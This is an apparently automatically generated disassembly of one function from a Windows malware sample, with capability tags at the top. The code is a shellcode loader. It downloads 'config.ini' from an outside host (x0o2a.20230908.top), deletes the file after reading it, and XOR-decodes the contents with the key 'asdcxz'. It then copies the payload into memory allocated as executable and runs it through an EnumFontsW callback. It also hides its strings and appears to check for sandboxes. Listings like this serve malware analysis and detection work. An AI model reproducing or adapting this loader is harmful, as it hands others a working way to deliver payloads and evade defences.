Function at 0x140001940
Capabilities:
Contain obfuscated stackstrings
Delete file
Download url
Encode data using xor
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
xor r13d, r13d
mov dword [rsp + 0x40], r13d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEncryptedFileRawA]
cmp eax, 0x7b
jne 0x1400019cc
call fcn.140001480
cmp byte [0x140009964], r13b
jne 0x1400019c3
call fcn.140001510
call fcn.1400016e0
call fcn.140001760
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x140009964], r13b
je 0x1400019a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x6870a8f
call fcn.140001290
mov r12, rax
mov ecx, 0x3e8557
call fcn.140001290
mov edx, 0x7b66be11
mov rcx, r12
call fcn.1400013a0
mov r8d, 0x104
lea rdx, [rbp + 0x1b0]
xor ecx, ecx
call rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp + 0x1b0]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x140001a24
lea rdx, [rbp + 0x1b0]
lea rcx, [rsp + 0x60]
call fcn.1400034c0
nop
lea rdi, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
seta r15b
mov r14, qword [rsp + 0x60]
cmova rdi, r14
mov rsi, qword [rsp + 0x70]
test rsi, rsi
je 0x140001aef
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
mov dword [rbp + 0x108], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x10d]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x10c], 1
lea rax, [rsi - 1]
mov r8, rbx
cmp rax, rbx
cmovb r8, rax
add r8, rdi
movzx eax, byte [r8]
cmp byte [rbp + rax + 0xb0], 0
jne 0x140001aea
cmp r8, rdi
je 0x140001aef
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax + 0xb0], 0
je 0x140001ad4
sub r8, rdi
jmp 0x140001af2
mov r8, rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
inc r8
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rsp + 0x60]
test r15b, r15b
cmovne rdx, r14
lea rcx, [rbp - 0x80]
call fcn.1400034c0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001b5d
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fcc
call fcn.140003c28
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rsp + 0x70], xmm1
mov dword [rsp + 0x30], 0x666e6f63
mov dword [rsp + 0x34], 0x692e6769
mov word [rsp + 0x38], 0x696e
mov byte [rsp + 0x3a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x30]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001ba0
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400034c0
nop
lea r9, [rbp - 0x80]
mov rdi, qword [rbp - 0x80]
mov r14, qword [rbp - 0x68]
cmp r14, 0xf
cmova r9, rdi
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
mov rsi, qword [rbp - 0x70]
cmp rsi, rax
ja 0x140001c17
lea rax, [rsi + rcx]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], 0
jmp 0x140001c31
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rsp + 0x60]
call fcn.140003720
mov r14, qword [rbp - 0x68]
mov rdi, qword [rbp - 0x80]
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x1400055b8]
lea rdx, str.https:__x0o2a.20230908.top_config.ini
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1400056d0]
mov qword [rbp - 0x60], rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rbx
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x50], rax
mov byte [rbp + 0x2c], 0
mov byte [rbp + 0x21], 0
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x30], r13
mov rax, qword [0x140009ca0]
mov qword [rbp + 0x24], rax
mov qword [rbp + 0x18], r13
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.140002ff0
cmp qword [rbp + 0x30], 0
jne 0x140001dfa
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], rbx
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.140002ca0
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
cmp r14, 0xf
jbe 0x140001d8d
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001d84
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fcc
mov rcx, rdi
call fcn.140003c28
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001dca
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000201c
call fcn.140003c28
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.140003930
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov r15, qword [rax + 8]
add r15, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
movsxd rbx, r15d
mov rcx, rbx
call fcn.140003c30
mov rsi, rax
mov ecx, dword [str.asdcxz]
mov dword [rsp + 0x40], ecx
movzx ecx, word [0x140005620]
mov word [rsp + 0x44], cx
movzx ecx, byte [0x140005622]
mov byte [rsp + 0x46], cl
cmp qword [rbp + 0x30], 0
je 0x140001e82
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, str.config.ini
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea eax, [r15 - 1]
movsxd r8, eax
test eax, eax
jle 0x140001ec0
mov rax, r13
mov rdx, rsi
nop dword [rax]
nop word [rax + rax]
mov rcx, r13
cmp rax, 6
cmovne rcx, rax
movzx eax, byte [rsp + rcx + 0x40]
xor byte [rdx], al
lea rax, [rcx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x140001ea0
mov edx, 0x653266b
mov rcx, r12
call fcn.1400013a0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call rax
mov r15, rax
mov rcx, rax
cmp rax, rsi
jae 0x140001f12
test rbx, rbx
je 0x140001f43
sub rsi, rax
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rbx, 1
jne 0x140001f00
jmp 0x140001f43
lea rcx, [rsi - 1]
add rcx, rbx
lea rdx, [rax - 1]
add rdx, rbx
test rbx, rbx
je 0x140001f43
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx], al
lea rdx, [rdx - 1]
lea rcx, [rcx - 1]
sub rbx, 1
jne 0x140001f30
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
xor r9d, r9d
mov r8, r15
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.140002ca0
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
cmp r14, 0xf
jbe 0x140001fdc
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001fd3
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fd3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140003c28
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001dca
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001dc5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3